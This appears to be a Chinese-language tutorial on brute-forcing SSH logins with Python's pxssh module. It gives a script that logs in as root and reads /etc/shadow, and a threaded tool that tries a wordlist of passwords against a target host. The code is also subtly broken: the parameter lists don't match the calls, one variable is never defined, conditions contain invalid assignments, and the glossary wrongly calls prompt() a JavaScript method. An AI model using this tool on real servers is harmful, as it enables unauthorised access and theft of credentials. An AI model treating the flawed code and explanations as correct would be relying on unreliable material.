目錄
一、Pxssh暴力破解SSH密碼
1.1、函數:
1.2、使用Pxssh簡化
1.3、函數:
1.4、自動化
1.1、函數:
prompt():是javascript語言中的一個方法,主要用處是顯示提示對話框
pxssh模塊用於在python中ssh遠程連接,執行命令,返回結果,但注意不支持Windows系統
1.2、使用Pxssh簡化
用Pxssh 進一步簡化它,Pxssb 是一個包含了pexpect 庫的專用腳本, 它能用預先寫好的login()、logout()和prompt()等函數直接與SSH 進行交互。使用Pxssh可以將上個腳本簡化成
import pxssh def send_command(s, cmd): s.sendline(cmd) s.prompt() print(s.before) def connect(host, user, password): try: s = pxssh.pxssh() s.login( host, user, password ) return s except: print('[-] Error Connecting') exit( 0 ) s = connect ('127.0.0.1', 'root', 'toor') send_command(s, 'cat /etc/shadow | grep root')
1.3、函數:
BoundedSemaphore(n):同一時刻最多允許n個線程訪問特定資源
global:全局的
release:釋放
add_option 添加設置選項
acquire方法是Python鎖類,Python中線程模塊的Lock類的內置方法
Thread是程序中的執行線程
1.4、自動化
再做些修改就能使腳本自動執行暴力破解SSH口令的任務。除增加了一些參數解析代碼來讀取主機名、用戶名和存有待嘗試的密碼的文件外, 只需對connect()函數稍做修改。
如果login()函數執行成功, 並且沒有拋出異常, 將打印一個消息, 表明密碼已被找到並把表示密碼已被找到的全局布爾值設為true。否則, 將捕獲該異常。如果異常顯示密碼被拒絕, 知道這個密碼不對, 讓函數返回即可。但是,如果異常顯示socket 為“ read_nonblocking", 可能是SSH服務器被大量的連接刷爆了, 可以稍等片刻後用相同的密碼再試一次。此外, 如果該異常顯示pxssh 命令提示符提取困難, 也應等待一會兒, 然後讓它再試一次。
在connect()函數的參數裡有一個布爾量release。由於connect()可以遞歸地調用另一個connect(), 必須讓只有不是由connect()遞歸調用的connect()函數才能夠釋放connection_lock 信號。
import pxssh import optparse import time from threading import * maxConnections = 5 connection_lock = BoundedSemaphore(value=maxConnections) Found = False Fails = 0 def connect(host, user, password): global Found global Fails try: s = pxssh.pxssh() s.login(host, user, password) print('[+] Password Found: ' + password) Found = True except Exception as e: if 'read_nonblocking' in str(e): Fails += 1 time.sleep( 5 ) connect(host, user, password, False) elif 'synchronize with original prompt' in str(e): time.sleep( 1 ) connect( host, user, password, False ) finally: if release: connection_lock.release() def main(): parser = optparse.OptionParser( 'usage %prog ' + '-H <target host> -u <user> -F <password list>' ) parser.add_option( '-H', dest= ' tgtHost', type='string', help=' specify target host') parser.add_option( '-F', dest= ' passwdFile', type='string', help='specify password file') parser.add_option( '-u', dest='user', type = 'string', help = 'specify the user') (options, args) = parser.parse_args() host = options.tgtHost passwdFile = options.passwdFile user= options.user if host== None or passwdFile = None or user = None: print(parser.usage) exit(0) user = options.user fn = open( passwdFile,'r') user = options.user for line in fn.readlines(): user = options.user if Found: print("[*] Exiting: Password Found") exit(0) if Fails > 5: print("[!] Exiting: Too Many Socket Timeouts") exit(0) connection_lock.acquire() password = line.strip('\r').strip('\n') print("[-] Testing: " + str(password)) t = Thread(target=connect, args=(host, user, password, True)) child = t.start() if __name__ == '__main__': main()